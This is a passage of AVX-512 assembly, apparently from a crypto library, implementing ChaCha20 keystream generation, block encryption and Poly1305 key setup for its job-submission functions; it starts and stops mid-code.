%%ZMM_DWORD_ORIG12, %%ZMM_DWORD_ORIG13, %%ZMM_DWORD_ORIG14, \
%%ZMM_DWORD_ORIG15, %%SRC, %%DST, %%OFF, %%GEN_KEY
%endmacro
;
; Macro adding original state values to processed state values
; and transposing 16x16 u32 from first 16 ZMM registers,
; creating keystreams.
; Note that the registers are tranposed in a different
; order, so first register (IN00) containing row 0
; will not contain the first column of the matrix, but
; row 1 and same with other registers.
; This is done to minimize the number of registers clobbered.
;
%macro ADD_TRANSPOSE_STATE_KS 32
%define %%IN00_OUT01 %1 ; [in/out] Input row 0, Output column 1
%define %%IN01_OUT02 %2 ; [in/out] Input row 1, Output column 2
%define %%IN02_OUT15 %3 ; [in/out] Input row 2, Output column 15
%define %%IN03_OUT04 %4 ; [in/out] Input row 3, Output column 4
%define %%IN04_OUT08 %5 ; [in/out] Input row 4, Output column 8
%define %%IN05_OUT09 %6 ; [in/out] Input row 5, Output column 9
%define %%IN06_OUT13 %7 ; [in/out] Input row 6, Output column 13
%define %%IN07_OUT07 %8 ; [in/out] Input row 7, Output column 7
%define %%IN08_OUT05 %9 ; [in/out] Input row 8, Output column 5
%define %%IN09_OUT00 %10 ; [in/out] Input row 9, Output column 0
%define %%IN10_OUT06 %11 ; [in/out] Input row 10, Output column 6
%define %%IN11_OUT11 %12 ; [in/out] Input row 11, Output column 11
%define %%IN12_OUT12 %13 ; [in/out] Input row 12, Output column 12
%define %%IN13_OUT03 %14 ; [in/out] Input row 13, Output column 3
%define %%IN14_OUT14 %15 ; [in/out] Input row 14, Output column 14
%define %%IN15_OUT10 %16 ; [in/out] Input row 15, Output column 10
%define %%IN_ORIG00 %17 ; [in/clobbered] Original input row 0
%define %%IN_ORIG01 %18 ; [in/clobbered] Original input row 1
%define %%IN_ORIG02 %19 ; [in] Original input row 2
%define %%IN_ORIG03 %20 ; [in] Original input row 3
%define %%IN_ORIG04 %21 ; [in] Original input row 4
%define %%IN_ORIG05 %22 ; [in] Original input row 5
%define %%IN_ORIG06 %23 ; [in] Original input row 6
%define %%IN_ORIG07 %24 ; [in] Original input row 7
%define %%IN_ORIG08 %25 ; [in] Original input row 8
%define %%IN_ORIG09 %26 ; [in] Original input row 9
%define %%IN_ORIG10 %27 ; [in] Original input row 10
%define %%IN_ORIG11 %28 ; [in] Original input row 11
%define %%IN_ORIG12 %29 ; [in] Original input row 12
%define %%IN_ORIG13 %30 ; [in] Original input row 13
%define %%IN_ORIG14 %31 ; [in] Original input row 14
%define %%IN_ORIG15 %32 ; [in] Original input row 15
vpaddd %%IN00_OUT01, %%IN_ORIG00
vpaddd %%IN01_OUT02, %%IN_ORIG01
vpaddd %%IN02_OUT15, %%IN_ORIG02
vpaddd %%IN03_OUT04, %%IN_ORIG03
;; Deal with first lanes 0-7
; T0, T1 free
vpunpckldq %%IN_ORIG00, %%IN00_OUT01, %%IN01_OUT02
vpunpckhdq %%IN00_OUT01, %%IN00_OUT01, %%IN01_OUT02
vpunpckldq %%IN_ORIG01, %%IN02_OUT15, %%IN03_OUT04
vpunpckhdq %%IN02_OUT15, %%IN02_OUT15, %%IN03_OUT04
; IN01_OUT02, IN03_OUT04 free
vpunpcklqdq %%IN03_OUT04, %%IN_ORIG00, %%IN_ORIG01
vpunpckhqdq %%IN01_OUT02, %%IN_ORIG00, %%IN_ORIG01
vpunpcklqdq %%IN_ORIG00, %%IN00_OUT01, %%IN02_OUT15
vpunpckhqdq %%IN00_OUT01, %%IN00_OUT01, %%IN02_OUT15
vpaddd %%IN04_OUT08, %%IN_ORIG04
vpaddd %%IN05_OUT09, %%IN_ORIG05
vpaddd %%IN06_OUT13, %%IN_ORIG06
vpaddd %%IN07_OUT07, %%IN_ORIG07
; IN02_OUT15, T1 free
vpunpckldq %%IN_ORIG01, %%IN04_OUT08, %%IN05_OUT09
vpunpckhdq %%IN04_OUT08, %%IN04_OUT08, %%IN05_OUT09
vpunpckldq %%IN02_OUT15, %%IN06_OUT13, %%IN07_OUT07
vpunpckhdq %%IN06_OUT13, %%IN06_OUT13, %%IN07_OUT07
; IN07_OUT07, IN05_OUT09 free
vpunpcklqdq %%IN07_OUT07, %%IN_ORIG01, %%IN02_OUT15
vpunpckhqdq %%IN05_OUT09, %%IN_ORIG01, %%IN02_OUT15
vpunpcklqdq %%IN02_OUT15, %%IN04_OUT08, %%IN06_OUT13
vpunpckhqdq %%IN04_OUT08, %%IN04_OUT08, %%IN06_OUT13
; T1, IN06_OUT13 free
vshufi64x2 %%IN_ORIG01, %%IN03_OUT04, %%IN07_OUT07, 0x44
vshufi64x2 %%IN03_OUT04, %%IN03_OUT04, %%IN07_OUT07, 0xee
vshufi64x2 %%IN06_OUT13, %%IN01_OUT02, %%IN05_OUT09, 0x44
vshufi64x2 %%IN01_OUT02, %%IN01_OUT02, %%IN05_OUT09, 0xee
vshufi64x2 %%IN07_OUT07, %%IN_ORIG00, %%IN02_OUT15, 0x44
vshufi64x2 %%IN02_OUT15, %%IN_ORIG00, %%IN02_OUT15, 0xee
vshufi64x2 %%IN05_OUT09, %%IN00_OUT01, %%IN04_OUT08, 0x44
vshufi64x2 %%IN00_OUT01, %%IN00_OUT01, %%IN04_OUT08, 0xee
;; Deal with lanes 8-15
vpaddd %%IN08_OUT05, %%IN_ORIG08
vpaddd %%IN09_OUT00, %%IN_ORIG09
vpaddd %%IN10_OUT06, %%IN_ORIG10
vpaddd %%IN11_OUT11, %%IN_ORIG11
vpunpckldq %%IN_ORIG00, %%IN08_OUT05, %%IN09_OUT00
vpunpckhdq %%IN08_OUT05, %%IN08_OUT05, %%IN09_OUT00
vpunpckldq %%IN04_OUT08, %%IN10_OUT06, %%IN11_OUT11
vpunpckhdq %%IN10_OUT06, %%IN10_OUT06, %%IN11_OUT11
vpunpcklqdq %%IN09_OUT00, %%IN_ORIG00, %%IN04_OUT08
vpunpckhqdq %%IN04_OUT08, %%IN_ORIG00, %%IN04_OUT08
vpunpcklqdq %%IN11_OUT11, %%IN08_OUT05, %%IN10_OUT06
vpunpckhqdq %%IN08_OUT05, %%IN08_OUT05, %%IN10_OUT06
vpaddd %%IN12_OUT12, %%IN_ORIG12
vpaddd %%IN13_OUT03, %%IN_ORIG13
vpaddd %%IN14_OUT14, %%IN_ORIG14
vpaddd %%IN15_OUT10, %%IN_ORIG15
vpunpckldq %%IN_ORIG00, %%IN12_OUT12, %%IN13_OUT03
vpunpckhdq %%IN12_OUT12, %%IN12_OUT12, %%IN13_OUT03
vpunpckldq %%IN10_OUT06, %%IN14_OUT14, %%IN15_OUT10
vpunpckhdq %%IN14_OUT14, %%IN14_OUT14, %%IN15_OUT10
vpunpcklqdq %%IN13_OUT03, %%IN_ORIG00, %%IN10_OUT06
vpunpckhqdq %%IN10_OUT06, %%IN_ORIG00, %%IN10_OUT06
vpunpcklqdq %%IN15_OUT10, %%IN12_OUT12, %%IN14_OUT14
vpunpckhqdq %%IN12_OUT12, %%IN12_OUT12, %%IN14_OUT14
vshufi64x2 %%IN14_OUT14, %%IN09_OUT00, %%IN13_OUT03, 0x44
vshufi64x2 %%IN09_OUT00, %%IN09_OUT00, %%IN13_OUT03, 0xee
vshufi64x2 %%IN_ORIG00, %%IN04_OUT08, %%IN10_OUT06, 0x44
vshufi64x2 %%IN10_OUT06, %%IN04_OUT08, %%IN10_OUT06, 0xee
vshufi64x2 %%IN13_OUT03, %%IN11_OUT11, %%IN15_OUT10, 0x44
vshufi64x2 %%IN11_OUT11, %%IN11_OUT11, %%IN15_OUT10, 0xee
vshufi64x2 %%IN15_OUT10, %%IN08_OUT05, %%IN12_OUT12, 0x44
vshufi64x2 %%IN08_OUT05, %%IN08_OUT05, %%IN12_OUT12, 0xee
vshufi64x2 %%IN12_OUT12, %%IN03_OUT04, %%IN09_OUT00, 0xdd
vshufi64x2 %%IN04_OUT08, %%IN03_OUT04, %%IN09_OUT00, 0x88
vshufi64x2 %%IN03_OUT04, %%IN_ORIG01, %%IN14_OUT14, 0xdd
vshufi64x2 %%IN09_OUT00, %%IN_ORIG01, %%IN14_OUT14, 0x88
vshufi64x2 %%IN14_OUT14, %%IN02_OUT15, %%IN11_OUT11, 0xdd
vshufi64x2 %%IN_ORIG01, %%IN02_OUT15, %%IN11_OUT11, 0x88
vshufi64x2 %%IN11_OUT11, %%IN00_OUT01, %%IN08_OUT05, 0x88
vshufi64x2 %%IN02_OUT15, %%IN00_OUT01, %%IN08_OUT05, 0xdd
vshufi64x2 %%IN00_OUT01, %%IN06_OUT13, %%IN_ORIG00, 0x88
vshufi64x2 %%IN08_OUT05, %%IN06_OUT13, %%IN_ORIG00, 0xdd
vshufi64x2 %%IN_ORIG00, %%IN01_OUT02, %%IN10_OUT06, 0x88
vshufi64x2 %%IN06_OUT13, %%IN01_OUT02, %%IN10_OUT06, 0xdd
vshufi64x2 %%IN01_OUT02, %%IN07_OUT07, %%IN13_OUT03, 0x88
vshufi64x2 %%IN10_OUT06, %%IN07_OUT07, %%IN13_OUT03, 0xdd
vshufi64x2 %%IN13_OUT03, %%IN05_OUT09, %%IN15_OUT10, 0x88
vshufi64x2 %%IN07_OUT07, %%IN05_OUT09, %%IN15_OUT10, 0xdd
vmovdqa64 %%IN05_OUT09, %%IN_ORIG00
vmovdqa64 %%IN15_OUT10, %%IN_ORIG01
%endmacro
;;
;; Generates 64*16 bytes of keystream
;;
%macro GENERATE_1K_KS 32
%define %%ZMM_DWORD0 %1 ;; [out] ZMM containing dword 0 of all states and bytes 64-127 of keystream
%define %%ZMM_DWORD1 %2 ;; [out] ZMM containing dword 1 of all states and bytes 128-191 of keystream
%define %%ZMM_DWORD2 %3 ;; [out] ZMM containing dword 2 of all states and bytes 960-1023 of keystream
%define %%ZMM_DWORD3 %4 ;; [out] ZMM containing dword 3 of all states and bytes 256-319 of keystream
%define %%ZMM_DWORD4 %5 ;; [out] ZMM containing dword 4 of all states and bytes 512-575 of keystream
%define %%ZMM_DWORD5 %6 ;; [out] ZMM containing dword 5 of all states and bytes 576-639 of keystream
%define %%ZMM_DWORD6 %7 ;; [out] ZMM containing dword 6 of all states and bytes 832-895 of keystream
%define %%ZMM_DWORD7 %8 ;; [out] ZMM containing dword 7 of all states and bytes 448-511 of keystream
%define %%ZMM_DWORD8 %9 ;; [out] ZMM containing dword 8 of all states and bytes 320-383 of keystream
%define %%ZMM_DWORD9 %10 ;; [out] ZMM containing dword 9 of all states and bytes 0-63 of keystream
%define %%ZMM_DWORD10 %11 ;; [out] ZMM containing dword 10 of all states and bytes 384-447 of keystream
%define %%ZMM_DWORD11 %12 ;; [out] ZMM containing dword 11 of all states and bytes 704-767 of keystream
%define %%ZMM_DWORD12 %13 ;; [out] ZMM containing dword 12 of all states and bytes 768-831 of keystream
%define %%ZMM_DWORD13 %14 ;; [out] ZMM containing dword 13 of all states and bytes 192-255 of keystream
%define %%ZMM_DWORD14 %15 ;; [out] ZMM containing dword 14 of all states and bytes 896-959 of keystream
%define %%ZMM_DWORD15 %16 ;; [out] ZMM containing dword 15 of all states and bytes 640-703 of keystream
%define %%ZMM_DWORD_ORIG0 %17 ;; [in/clobbered] ZMM containing dword 0 of all states / Temp ZMM register
%define %%ZMM_DWORD_ORIG1 %18 ;; [in/clobbered] ZMM containing dword 1 of all states / Temp ZMM register
%define %%ZMM_DWORD_ORIG2 %19 ;; [in] ZMM containing dword 2 of all states
%define %%ZMM_DWORD_ORIG3 %20 ;; [in] ZMM containing dword 3 of all states
%define %%ZMM_DWORD_ORIG4 %21 ;; [in] ZMM containing dword 4 of all states
%define %%ZMM_DWORD_ORIG5 %22 ;; [in] ZMM containing dword 5 of all states
%define %%ZMM_DWORD_ORIG6 %23 ;; [in] ZMM containing dword 6 of all states
%define %%ZMM_DWORD_ORIG7 %24 ;; [in] ZMM containing dword 7 of all states
%define %%ZMM_DWORD_ORIG8 %25 ;; [in] ZMM containing dword 8 of all states
%define %%ZMM_DWORD_ORIG9 %26 ;; [in] ZMM containing dword 9 of all states
%define %%ZMM_DWORD_ORIG10 %27 ;; [in] ZMM containing dword 10 of all states
%define %%ZMM_DWORD_ORIG11 %28 ;; [in] ZMM containing dword 11 of all states
%define %%ZMM_DWORD_ORIG12 %29 ;; [in] ZMM containing dword 12 of all states
%define %%ZMM_DWORD_ORIG13 %30 ;; [in] ZMM containing dword 13 of all states
%define %%ZMM_DWORD_ORIG14 %31 ;; [in] ZMM containing dword 14 of all states
%define %%ZMM_DWORD_ORIG15 %32 ;; [in] ZMM containing dword 15 of all states
%assign i 0
%rep 16
vmovdqa64 APPEND(%%ZMM_DWORD, i), APPEND(%%ZMM_DWORD_ORIG, i)
%assign i (i + 1)
%endrep
%rep 10
;;; Each full round consists of 8 quarter rounds, 4 column rounds and 4 diagonal rounds
;;; For first 4 column rounds:
;;; A = 0, 1, 2, 3; B = 4, 5, 6, 7;
;;; C = 8, 9, 10, 11; D = 12, 13, 14, 15
CHACHA20_ROUND %%ZMM_DWORD0, %%ZMM_DWORD1, %%ZMM_DWORD2, %%ZMM_DWORD3, \
%%ZMM_DWORD4, %%ZMM_DWORD5, %%ZMM_DWORD6, %%ZMM_DWORD7, \
%%ZMM_DWORD8, %%ZMM_DWORD9, %%ZMM_DWORD10, %%ZMM_DWORD11, \
%%ZMM_DWORD12, %%ZMM_DWORD13, %%ZMM_DWORD14, %%ZMM_DWORD15
;;; For 4 diagonal rounds:
;;; A = 0, 1, 2, 3; B = 5, 6, 7, 4;
;;; C = 10, 11, 8, 9; D = 15, 12, 13, 14
CHACHA20_ROUND %%ZMM_DWORD0, %%ZMM_DWORD1, %%ZMM_DWORD2, %%ZMM_DWORD3, \
%%ZMM_DWORD5, %%ZMM_DWORD6, %%ZMM_DWORD7, %%ZMM_DWORD4, \
%%ZMM_DWORD10, %%ZMM_DWORD11, %%ZMM_DWORD8, %%ZMM_DWORD9, \
%%ZMM_DWORD15, %%ZMM_DWORD12, %%ZMM_DWORD13, %%ZMM_DWORD14
%endrep
;; Add original states to processed states and transpose
;; these states to form the 64*16 bytes of keystream
ADD_TRANSPOSE_STATE_KS %%ZMM_DWORD0, %%ZMM_DWORD1, %%ZMM_DWORD2, %%ZMM_DWORD3, \
%%ZMM_DWORD4, %%ZMM_DWORD5, %%ZMM_DWORD6, %%ZMM_DWORD7, \
%%ZMM_DWORD8, %%ZMM_DWORD9, %%ZMM_DWORD10, %%ZMM_DWORD11, \
%%ZMM_DWORD12, %%ZMM_DWORD13, %%ZMM_DWORD14, %%ZMM_DWORD15, \
%%ZMM_DWORD_ORIG0, %%ZMM_DWORD_ORIG1, %%ZMM_DWORD_ORIG2, \
%%ZMM_DWORD_ORIG3,%%ZMM_DWORD_ORIG4, %%ZMM_DWORD_ORIG5, \
%%ZMM_DWORD_ORIG6, %%ZMM_DWORD_ORIG7, %%ZMM_DWORD_ORIG8, \
%%ZMM_DWORD_ORIG9, %%ZMM_DWORD_ORIG10, %%ZMM_DWORD_ORIG11, \
%%ZMM_DWORD_ORIG12, %%ZMM_DWORD_ORIG13, %%ZMM_DWORD_ORIG14, \
%%ZMM_DWORD_ORIG15
%endmacro
%macro ENCRYPT_1_16_BLOCKS 23-24
%define %%KS0 %1 ; [in/clobbered] Bytes 0-63 of keystream
%define %%KS1 %2 ; [in/clobbered] Bytes 64-127 of keystream
%define %%KS2 %3 ; [in/clobbered] Bytes 128-191 of keystream
%define %%KS3 %4 ; [in/clobbered] Bytes 192-255 of keystream
%define %%KS4 %5 ; [in/clobbered] Bytes 256-319 of keystream
%define %%KS5 %6 ; [in/clobbered] Bytes 320-383 of keystream
%define %%KS6 %7 ; [in/clobbered] Bytes 384-447 of keystream
%define %%KS7 %8 ; [in/clobbered] Bytes 448-511 of keystream
%define %%KS8 %9 ; [in/clobbered] Bytes 512-575 of keystream
%define %%KS9 %10 ; [in/clobbered] Bytes 576-639 of keystream
%define %%KS10 %11 ; [in/clobbered] Bytes 640-703 of keystream
%define %%KS11 %12 ; [in/clobbered] Bytes 704-767 of keystream
%define %%KS12 %13 ; [in/clobbered] Bytes 768-831 of keystream
%define %%KS13 %14 ; [in/clobbered] Bytes 832-895 of keystream
%define %%KS14 %15 ; [in/clobbered] Bytes 896-959 of keystream
%define %%KS15 %16 ; [in/clobbered] Bytes 960-1023 of keystream
%define %%ZTMP %17 ; [clobbered] Temporary ZMM register
%define %%SRC %18 ; [in] Source pointer
%define %%DST %19 ; [in] Destination pointer
%define %%OFF %20 ; [in] Offset into src/dst pointers
%define %%KMASK %21 ; [in] Mask register for final block
%define %%NUM_BLOCKS %22 ; [in] Number of blocks to encrypt
%define %%GEN_KEY %23 ; [in] Generate poly key
%define %%LAST_KS %24 ; [in] Pointer to last KS pointer
%ifidn %%GEN_KEY, gen_poly_key
%if %%NUM_BLOCKS != 16
; Check if Poly key has been generated
or added_len, added_len
jz %%encrypt_key_calculated
; Generate Poly key
GEN_POLY_KEY arg2, %%KS0
; XOR Keystreams with blocks of input data
%assign %%I 0
%assign %%J 1
%rep (%%NUM_BLOCKS - 1)
vpxorq APPEND(%%KS, %%J), [%%SRC + %%OFF + 64*%%I]
%assign %%I (%%I + 1)
%assign %%J (%%J + 1)
%endrep
; Final block which might have less than 64 bytes, so mask register is used
vmovdqu8 %%ZTMP{%%KMASK}, [%%SRC + %%OFF + 64*%%I]
vpxorq APPEND(%%KS, %%J), %%ZTMP
; Write out blocks of ciphertext
%assign %%I 0
%assign %%J 1
%rep (%%NUM_BLOCKS - 1)
vmovdqu8 [%%DST + %%OFF + 64*%%I], APPEND(%%KS, %%J)
%assign %%I (%%I + 1)
%assign %%J (%%J + 1)
%endrep
vmovdqu8 [%%DST + %%OFF + 64*%%I]{%%KMASK}, APPEND(%%KS, %%J)
jmp %%encrypt_done
%%encrypt_key_calculated:
%endif ; %%GEN_KEY == gen_poly_key
%endif ; %%NUM_BLOCKS != 16
%assign %%I 0
%rep (%%NUM_BLOCKS - 1)
vpxorq APPEND(%%KS, %%I), [%%SRC + %%OFF + 64*%%I]
%assign %%I (%%I + 1)
%endrep
; Final block which might have less than 64 bytes, so mask register is used
vmovdqu8 %%ZTMP{%%KMASK}, [%%SRC + %%OFF + 64*%%I]
%if %0 == 24
vmovdqu64 [%%LAST_KS], APPEND(%%KS, %%I)
%endif
vpxorq APPEND(%%KS, %%I), %%ZTMP
; Write out blocks of ciphertext
%assign %%I 0
%rep (%%NUM_BLOCKS - 1)
vmovdqu8 [%%DST + %%OFF + 64*%%I], APPEND(%%KS, %%I)
%assign %%I (%%I + 1)
%endrep
vmovdqu8 [%%DST + %%OFF + 64*%%I]{%%KMASK}, APPEND(%%KS, %%I)
%%encrypt_done:
%endmacro
%macro PREPARE_NEXT_STATES_4_TO_8 13
%define %%STATE_IN_A_L %1 ;; [out] ZMM containing state "A" part for states 1-4
%define %%STATE_IN_B_L %2 ;; [out] ZMM containing state "B" part for states 1-4
%define %%STATE_IN_C_L %3 ;; [out] ZMM containing state "C" part for states 1-4
%define %%STATE_IN_D_L %4 ;; [out] ZMM containing state "D" part for states 1-4
%define %%STATE_IN_D_H %5 ;; [out] ZMM containing state "D" part for states 5-8 (or "none" in NUM_BLOCKS == 4)
%define %%ZTMP0 %6 ;; [clobbered] ZMM temp reg
%define %%ZTMP1 %7 ;; [clobbered] ZMM temp reg
%define %%LAST_BLK_CNT %8 ;; [in] Last block counter
%define %%IV %9 ;; [in] Pointer to IV
%define %%KEYS %10 ;; [in/clobbered] Pointer to keys
%define %%KMASK %11 ;; [clobbered] Mask register
%define %%NUM_BLOCKS %12 ;; [in] Number of state blocks to prepare (numerical)
%define %%GEN_KEY %13 ;; [in] Generate poly key
;; Prepare next 8 states (or 4, if 4 or less blocks left)
vbroadcastf64x2 %%STATE_IN_B_L, [%%KEYS] ; Load key bytes 0-15
vbroadcastf64x2 %%STATE_IN_C_L, [%%KEYS + 16] ; Load key bytes 16-31
mov %%KEYS, 0xfff ; Reuse %%KEYS register, as it is not going to be used again
kmovq %%KMASK, %%KEYS
vmovdqu8 XWORD(%%STATE_IN_D_L){%%KMASK}, [%%IV] ; Load Nonce (12 bytes)
vpslldq XWORD(%%STATE_IN_D_L), 4
vshufi64x2 %%STATE_IN_D_L, %%STATE_IN_D_L, 0 ; Broadcast 128 bits to 512 bits
vbroadcastf64x2 %%STATE_IN_A_L, [rel constants]
%if %%NUM_BLOCKS == 8
;; Prepare chacha states 4-7 (A-C same as states 0-3)
vmovdqa64 %%STATE_IN_D_H, %%STATE_IN_D_L
%endif
; Broadcast last block counter
vmovq XWORD(%%ZTMP0), %%LAST_BLK_CNT
vshufi32x4 %%ZTMP0, %%ZTMP0, 0x00
%ifidn %%GEN_KEY, gen_poly_key
%if %%NUM_BLOCKS == 4
; Add 0-3 to construct next block counters
vpaddd %%ZTMP0, [rel add_0_3]
vporq %%STATE_IN_D_L, %%ZTMP0
%else
; Add 0-7 to construct next block counters
vpaddd %%ZTMP1, %%ZTMP0, [rel add_4_7]
vpaddd %%ZTMP0, [rel add_0_3]
vporq %%STATE_IN_D_L, %%ZTMP0
vporq %%STATE_IN_D_H, %%ZTMP1
%endif
%else ; %%GEN == gen_poly_key
%if %%NUM_BLOCKS == 4
; Add 1-4 to construct next block counters
vpaddd %%ZTMP0, [rel add_1_4]
vporq %%STATE_IN_D_L, %%ZTMP0
%else
; Add 1-8 to construct next block counters
vpaddd %%ZTMP1, %%ZTMP0, [rel add_5_8]
vpaddd %%ZTMP0, [rel add_1_4]
vporq %%STATE_IN_D_L, %%ZTMP0
vporq %%STATE_IN_D_H, %%ZTMP1
%endif
%endif ; %%GEN == gen_poly_key
%endmacro
align 32
MKGLOBAL(submit_job_chacha20_enc_dec_avx512,function,internal)
submit_job_chacha20_enc_dec_avx512:
endbranch64
%define src r8
%define dst r9
%define len r10
%define iv r11
%define keys rdx
%define tmp rdx
%define off rax
xor off, off
mov tmp, 0xffffffffffffffff
kmovq k1, tmp
mov len, [job + _msg_len_to_cipher_in_bytes]
mov src, [job + _src]
add src, [job + _cipher_start_src_offset_in_bytes]
mov dst, [job + _dst]
mov keys, [job + _enc_keys]
mov iv, [job + _iv]
; If less than or equal to 64*8 bytes, prepare directly states for up to 8 blocks
cmp len, 64*8
jbe exit_loop
; Prepare first 16 chacha20 states from IV, key, constants and counter values
vpbroadcastd zmm0, [rel constants]
vpbroadcastd zmm1, [rel constants + 4]
vpbroadcastd zmm2, [rel constants + 8]
vpbroadcastd zmm3, [rel constants + 12]
vpbroadcastd zmm4, [keys]
vpbroadcastd zmm5, [keys + 4]
vpbroadcastd zmm6, [keys + 8]
vpbroadcastd zmm7, [keys + 12]
vpbroadcastd zmm8, [keys + 16]
vpbroadcastd zmm9, [keys + 20]
vpbroadcastd zmm10, [keys + 24]
vpbroadcastd zmm11, [keys + 28]
vpbroadcastd zmm13, [iv]
vpbroadcastd zmm14, [iv + 4]
vpbroadcastd zmm15, [iv + 8]
;; Set first 16 counter values
vmovdqa64 zmm12, [rel set_1_16]
cmp len, 64*16
jb exit_loop
align 32
start_loop:
ENCRYPT_1K zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, zmm8, \
zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15, src, dst, off, 0
; Update remaining length
sub len, 64*16
add off, 64*16
; Reload first two registers zmm0 and 1,
; as they have been overwritten by the previous macros
vpbroadcastd zmm0, [rel constants]
vpbroadcastd zmm1, [rel constants + 4]
; Increment counter values
vpaddd zmm12, [rel add_16]
cmp len, 64*16
jae start_loop
exit_loop:
; Check if there are partial block (less than 16*64 bytes)
or len, len
jz no_partial_block
cmp len, 64*8
ja more_than_8_blocks_left
cmp len, 64*4
ja more_than_4_blocks_left
;; up to 4 blocks left
; Get last block counter dividing offset by 64
shr off, 6
PREPARE_NEXT_STATES_4_TO_8 zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, off, iv, keys, k2, 4, no_key
shl off, 6 ; Restore offset
; Use same first 4 registers as the output of GENERATE_1K_KS,
; to be able to use common code later on to encrypt
GENERATE_512_KS zmm25, zmm16, zmm17, zmm29, none, none, none, none, \
zmm0, zmm1, zmm2, zmm3, none, \
zmm8, zmm9, zmm10, zmm11, 4
jmp ks_gen_done
more_than_4_blocks_left:
;; up to 8 blocks left
; Get last block counter dividing offset by 64
shr off, 6
;; up to 8 blocks left
PREPARE_NEXT_STATES_4_TO_8 zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, off, iv, keys, k2, 8, no_key
shl off, 6 ; Restore offset
; Use same first 8 registers as the output of GENERATE_1K_KS,
; to be able to use common code later on to encrypt
GENERATE_512_KS zmm25, zmm16, zmm17, zmm29, zmm19, zmm24, zmm26, zmm23, \
zmm0, zmm1, zmm2, zmm3, zmm7, \
zmm8, zmm9, zmm10, zmm11, 8
jmp ks_gen_done
more_than_8_blocks_left:
; Generate another 64*16 bytes of keystream and XOR only the leftover plaintext
GENERATE_1K_KS zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, zmm8, \
zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15
ks_gen_done:
; Calculate number of final blocks
mov tmp, len
add tmp, 63
shr tmp, 6
cmp tmp, 8
je final_num_blocks_is_8
jb final_num_blocks_is_1_7
; Final blocks 9-16
cmp tmp, 12
je final_num_blocks_is_12
jb final_num_blocks_is_9_11
; Final blocks 13-16
cmp tmp, 14
je final_num_blocks_is_14
jb final_num_blocks_is_13
cmp tmp, 15
je final_num_blocks_is_15
jmp final_num_blocks_is_16
final_num_blocks_is_9_11:
cmp tmp, 10
je final_num_blocks_is_10
jb final_num_blocks_is_9
ja final_num_blocks_is_11
final_num_blocks_is_1_7:
; Final blocks 1-7
cmp tmp, 4
je final_num_blocks_is_4
jb final_num_blocks_is_1_3
; Final blocks 5-7
cmp tmp, 6
je final_num_blocks_is_6
jb final_num_blocks_is_5
ja final_num_blocks_is_7
final_num_blocks_is_1_3:
cmp tmp, 2
je final_num_blocks_is_2
ja final_num_blocks_is_3
; 1 final block if no jump
%assign I 1
%rep 16
APPEND(final_num_blocks_is_, I):
lea tmp, [rel len_to_mask]
and len, 63
kmovq k1, [tmp + len*8]
ENCRYPT_1_16_BLOCKS zmm25, zmm16, zmm17, zmm29, zmm19, zmm24, zmm26, zmm23, \
zmm20, zmm21, zmm31, zmm27, zmm28, zmm22, zmm30, zmm18, \
zmm0, src, dst, off, k1, I, 0
jmp no_partial_block
%assign I (I + 1)
%endrep
no_partial_block:
%ifdef SAFE_DATA
clear_all_zmms_asm
%endif
mov rax, job
or dword [rax + _status], IMB_STATUS_COMPLETED_CIPHER
ret
align 32
MKGLOBAL(submit_job_chacha20_poly_enc_avx512,function,internal)
submit_job_chacha20_poly_enc_avx512:
endbranch64
%define src r8
%define dst r9
%define len r10
%define iv r11
%define keys r13
%define tmp r13
%define off rax
sub rsp, 16
mov [rsp], r12
mov [rsp + 8], r13
mov added_len, 64
xor off, off
mov tmp, 0xffffffffffffffff
kmovq k1, tmp
mov len, [job + _msg_len_to_cipher_in_bytes]
add len, 64 ; 64 bytes more to generate Poly key
mov src, [job + _src]
add src, [job + _cipher_start_src_offset_in_bytes]
mov dst, [job + _dst]
mov keys, [job + _enc_keys]
mov iv, [job + _iv]
; If less than or equal to 64*8 bytes, prepare directly states for up to 8 blocks
cmp len, 64*8
jbe exit_loop_poly
; Prepare first 16 chacha20 states from IV, key, constants and counter values
vpbroadcastd zmm0, [rel constants]
vpbroadcastd zmm1, [rel constants + 4]
vpbroadcastd zmm2, [rel constants + 8]
vpbroadcastd zmm3, [rel constants + 12]
vpbroadcastd zmm4, [keys]
vpbroadcastd zmm5, [keys + 4]
vpbroadcastd zmm6, [keys + 8]
vpbroadcastd zmm7, [keys + 12]
vpbroadcastd zmm8, [keys + 16]
vpbroadcastd zmm9, [keys + 20]
vpbroadcastd zmm10, [keys + 24]
vpbroadcastd zmm11, [keys + 28]
vpbroadcastd zmm13, [iv]
vpbroadcastd zmm14, [iv + 4]
vpbroadcastd zmm15, [iv + 8]
;; Set first 16 counter values (including 0 for poly key)
vmovdqa64 zmm12, [rel set_0_15]
cmp len, 64*16
jb exit_loop_poly
; Generate Poly key and encrypt 15*16 bytes
ENCRYPT_1K zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, zmm8, \
zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15, src, dst, off, gen_poly_key
; Clear added_len, indicating that Poly key has been generated
xor added_len, added_len
; Update remaining length
sub len, 64*16
add off, 64*15
; Reload first two registers zmm0 and 1,
; as they have been overwritten by the previous macros
vpbroadcastd zmm0, [rel constants]
vpbroadcastd zmm1, [rel constants + 4]
; Increment counter values
vpaddd zmm12, [rel add_16]
cmp len, 64*16
jb exit_loop_poly
align 32
start_loop_poly:
ENCRYPT_1K zmm16, zmm17, zmm18, zmm19, zmm20, zmm21, zmm22, zmm23, \
zmm24, zmm25, zmm26, zmm27, zmm28, zmm29, zmm30, zmm31, \
zmm0, zmm1, zmm2, zmm3, zmm4, zmm5, zmm6, zmm7, zmm8, \
zmm9, zmm10, zmm11, zmm12, zmm13, zmm14, zmm15, src, dst, \
off, no_gen_poly_key
; Update remaining length
sub len, 64*16
add off, 64*16
